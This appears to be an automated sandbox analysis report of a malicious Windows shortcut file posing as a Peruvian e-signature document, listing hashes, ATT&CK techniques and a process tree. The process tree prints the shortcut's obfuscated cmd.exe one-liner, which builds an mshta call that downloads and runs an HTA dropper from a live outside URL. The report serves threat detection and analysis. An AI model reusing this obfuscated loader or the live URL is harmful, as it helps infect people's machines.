a5b0df5a27cab5469b0a5330bfb30d5af54ca6f4e601c0b96659800bb95216ff

Analysis

max time kernel
40s
max time network
44s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 20:18

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General

Target
FirmaPeru-WJLGLZ.lnk
Size 2KB
Sample260803-y3rxssbj21
SHA256 a5b0df5a27cab5469b0a5330bfb30d5af54ca6f4e601c0b96659800bb95216ff
MD5 8f1a09f62700ba352198d33ee59e1b0f
SHA1 7e8e45dba486e8ff78f01bb065b926244175fe0e
SHA512 f93d4cda01fcf0f0e3c277ce40b96de90ecfd69505f423a31a4a69c2fd72800a8b9db042456084a8645a12696d9d6784ae13691e619939243395f58913d5e01a
TLSH
T16F518B5029DA8598F3FB4F76EDBDA741897BBC12AC36C2CC0940924D0421B00E9B3F36
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4344	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4344 wrote to memory of 108	4344	cmd.exe	90
PID 108 wrote to memory of 1936	108	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-WJLGLZ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4344
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set dvpZ=dbgkujqfsrvmqlguhpdbg&set iDPkJ=wincxwinofpejzycetsdwin&set xwen=infytyheufxlqhrrpshinf&set OoCk=netxvsywjmozbpqtjtsfxsshhtnet&set Ecw=cfgoiomarbcfg&set DXBj=pst7&&set EPh=xalyx&&set ctcn=edrt57&set ghVp=infvrkmgkkthludbyinf&set mhbBN=cacheyjgutgdheobsnvdfusxcache&set BgtY=syskivdnncehuimdxffisys&set ZYA=inftgebqnultinf&set gOb=nettrcerphcanet&set EG=n4lmsh1ac&&set dhq=lat9&&set QSnKa=4adabo&set fY=inftbvlhnajmtzcucnyttsinf&set IKqvq=bakxtwiiswwptbak&&set eWAU=http@s:@/@/m-f@i@[email protected]/h/@es@ta@g@io1.@p@h@p@?r=26@1A@6C@F5468@2&&start /b !EG:~3,3!!dhq:~2,1!!QSnKa:~3,1! !eWAU:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:108
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:1936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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